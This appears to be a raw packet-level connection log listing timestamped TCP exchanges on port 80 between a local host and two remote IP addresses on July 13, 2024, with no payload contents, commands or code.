Jul 13, 2024 07:07:06.371431112 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371432066 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371459007 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371481895 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371491909 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371491909 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371499062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371514082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371515989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371530056 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371543884 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371545076 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371558905 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371561050 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371570110 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371576071 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371592999 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371603012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371603012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371603012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371608973 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371665001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371705055 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371705055 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371726036 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371742010 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371781111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371781111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371838093 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371851921 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371866941 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371882915 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371890068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371898890 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371913910 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371927977 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371928930 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371928930 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371968031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371972084 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371978998 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371985912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372000933 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372041941 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372041941 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372088909 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372106075 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372119904 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372134924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372145891 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372145891 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372148991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372162104 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372164965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372173071 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372179031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372183084 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372195005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372210026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372219086 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372219086 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372234106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372245073 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372281075 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372281075 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372348070 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372363091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372375965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.372400045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.372458935 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.373859882 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.373912096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.373924971 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.373951912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.373990059 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.374005079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.374018908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.374027967 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.374027967 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.374034882 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.374049902 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.374059916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.374059916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.374087095 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.374087095 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.375447035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375509024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375514030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375529051 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375564098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375564098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375564098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375580072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375596046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375611067 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375612974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375627041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375638008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375659943 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375694036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375710011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375725985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375737906 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375741005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375751019 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375757933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375766039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375778913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375796080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375834942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375853062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375866890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375883102 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375899076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375900030 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375921965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375945091 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375945091 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.375962973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375979900 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.375994921 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376008987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376019001 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376019001 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376039982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376059055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376068115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376084089 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376099110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376113892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376127005 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376128912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376152992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376176119 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376209021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376224041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376239061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376262903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376266003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376279116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376287937 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376296043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376308918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376312971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376329899 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376334906 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376334906 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376347065 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376360893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376377106 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376394033 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376395941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376488924 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376507998 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376513958 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376552105 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376552105 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376636982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376687050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376702070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376702070 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376719952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376733065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376765966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376765966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376851082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376867056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376883030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376897097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376900911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376913071 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376924992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376924992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376930952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376948118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376957893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376957893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376969099 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.376985073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376985073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.376996040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377011061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377017975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377034903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377049923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377064943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377065897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377065897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377079964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377091885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377093077 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377113104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377130985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377139091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377155066 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377170086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377191067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377199888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377213001 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377213955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377217054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377233028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377242088 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377249956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377259970 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377268076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377276897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377298117 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377315998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377352953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377367020 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377381086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377403021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377413988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377413988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377419949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377434969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377435923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377449989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.377461910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377461910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377481937 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.377500057 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378251076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378308058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378366947 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378381014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378397942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378413916 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378423929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378423929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378429890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378446102 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378447056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378463030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378473997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378473997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378494978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378514051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378614902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378631115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378644943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378659010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378665924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378674984 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378689051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378690004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378707886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378710032 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378730059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378751040 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.378983974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.378997087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379012108 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379028082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379043102 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379045010 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379059076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379065990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379075050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379086971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379086971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379093885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379116058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379116058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379147053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379724026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379740000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379755974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379782915 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379782915 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379822969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379867077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379884005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379899025 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379914045 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379920006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379929066 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.379945993 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379946947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379973888 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.379973888 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.419322968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419370890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419406891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419440031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419461012 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.419475079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419509888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419528961 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.419548035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.419637918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.424073935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424257994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424266100 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.424273968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424292088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424307108 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424315929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.424324036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424336910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.424341917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.424381018 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.424407959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.458646059 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458693981 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458722115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458750010 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458785057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458798885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458798885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458820105 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458853960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458863974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458863974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458888054 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458920956 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458925009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458951950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458954096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.458965063 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.458986044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459017992 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459047079 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459047079 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459048033 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459081888 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459099054 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459099054 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459161043 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459207058 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459207058 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459213018 CEST	80	58981	85.28.47.70	192.168.2.5
